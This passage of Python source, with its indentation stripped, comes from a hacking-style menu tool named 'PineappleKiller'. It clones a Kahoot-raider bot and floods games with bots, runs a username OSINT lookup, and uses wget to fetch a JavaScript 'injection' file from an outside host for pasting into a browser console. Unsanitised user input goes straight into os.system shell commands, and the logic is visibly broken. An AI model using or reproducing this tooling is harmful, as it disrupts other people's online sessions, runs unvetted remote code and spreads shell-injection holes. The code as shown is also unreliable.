os.system("cd sherlock && cd sherlock && python3 sherlock.py "+pineapplekillerusername+" && cd .. && cd ..")
time.sleep(5)
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
else:
pineapplekillersherlockinst()
else:
pineapplekillersherlockinst()
pineapplekillerchecksherlock()
if pineapplekilleroption == "12":
pineapplekillerclear()
pineapplekillerlogo()
print("Checking KBOT installation...")
def pineapplekillercheckKBOT():
def pineapplekillerKBOTinst():
print("The KBOT is not installed!")
print("Do you want to install them? [Y/n]")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if str(pineapplekilleroption) == "Y":
if os.path.isdir("Kahoot-Raider-KBOT"):
os.system("sudo rm -rfv Kahoot-Raider-KBOT")
print("")
print("Downloading KBOT > Via Github")
try:
os.system("git clone https://github.com/x04000/Kahoot-Raider-KBOT")
return pineapplekillercheckKBOT()
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
else:
print("")
if os.path.isdir("Kahoot-Raider-KBOT"):
if os.path.isfile("Kahoot-Raider-KBOT/kbot"):
pineapplekillerclear()
pineapplekillerlogo()
pineapplekillerkahootoption = 0
print("""[Kahoot Tools]
\x1b[0;31m[\x1b[0;36m00\x1b[0;31m] \x1b[0;32mExit
\x1b[0;31m[\x1b[0;36m01\x1b[0;31m] \x1b[0;32mKahoot-Answer-Bot
\x1b[0;31m[\x1b[0;36m02\x1b[0;31m] \x1b[0;32mKahoot-Raider (GUI)
""")
pineapplekilleroption = str(input("\x1b[0;31mPineappleKiller > \x1b[0;32m"))
if pineapplekilleroption == "00":
print("")
elif pineapplekilleroption == "01":
pineapplekillerkahootoption = 1
elif pineapplekilleroption == "02":
pineapplekillerkahootoption = 2
else:
print("\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Invalid option!")
time.sleep(2)
try:
pineapplekillerkahootpin = str(input("\x1b[0;31mPineappleKiller \x1b[0;36mPIN\x1b[0;31m> \x1b[0;32m"))
pineapplekillerkahootquizid = str(input("\x1b[0;31mPineappleKiller \x1b[0;36mQuizID\x1b[0;31m> \x1b[0;32m"))
if pineapplekillerkahootoption == 1:
pineapplekillerkahootname = str(input("\x1b[0;31mPineappleKiller \x1b[0;36mBot Name\x1b[0;31m> \x1b[0;32m"))
if pineapplekillerkahootoption == 2:
pineapplekillerkahootbots = int(input("\x1b[0;31mPineappleKiller \x1b[0;36mBots\x1b[0;31m> \x1b[0;32m"))
slowprint("\x1b[0;35mLoading KBOT...")
nhprogressbar2()
time.sleep(2)
if pineapplekilleroption == 1:
os.system("cd Kahoot-Raider-KBOT && python3 kbot -p "+pineapplekillerkahootpin+" -n "+pineapplekillerkahootname+" -i "+pineapplekillerkahootquizid+" && cd ..")
if pineapplekilleroption == 2:
pineapplekillerkahootbotsin = 0
while(True):
if pineapplekillerkahootbotsin == pineapplekillerkahootbots:
break
else:
pineapplekillerkahootbotsin = pineapplekillerkahootbotsin + 1
print("Bot "+pineapplekillerkahootbotsin+" joined!")
pineapplekillerkahootwatermark = "PineappleKiller !"+''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(16))
try:
import tkinter
from tkinter import messagebox
pin = tkinter.Tk()
pin.geometry("400x300")
pin.title("PineappleKiller Kahoot Tools")
pin.configure(bg="black")
text1 = tkinter.Label(pin, text = "PineapplKiller Kahoot Tools", bg="red", fg="white")
text1.pack(fill = tkinter.X)
text2 = tkinter.Label(pin, text = "", bg="black", fg="white")
text2.pack(fill = tkinter.X)
text3 = tkinter.Label(pin, text = "Hey! This window is a bot!", bg="black", fg="white")
text3.pack(fill = tkinter.X)
os.system("cd Kahoot-Raider-KBOT && python3 kbot -p "+pineapplekillerkahootpin+" -n "+pineapplekillerkahootwatermark+" -i "+pineapplekillerkahootquizid+" && cd ..")
pin.mainloop()
except KeyboardInterrupt:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
break
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Fatal Error ocurred during the Raid")
break
time.sleep(1)
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
else:
pineapplekillerKBOTinst()
else:
pineapplekillerKBOTinst()
pineapplekillercheckKBOT()
if pineapplekilleroption == "13":
if os.path.isfile("JS-InjectionPineappleKillerCode"):
os.system("rm JS-InjectionPineappleKillerCode")
os.system("wget -O JS-InjectionPineappleKillerCode https://raw.githubusercontent.com/x04000/JS-InjectionPineappleKiller/main/InjectionPineappleKiller.js")
slowprint("The code has been downloaded in the file JS-InjectionPineappleKillerCode | Just put the code in your Browser Terminal")
time.sleep(5)
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
pineapplekillermenu()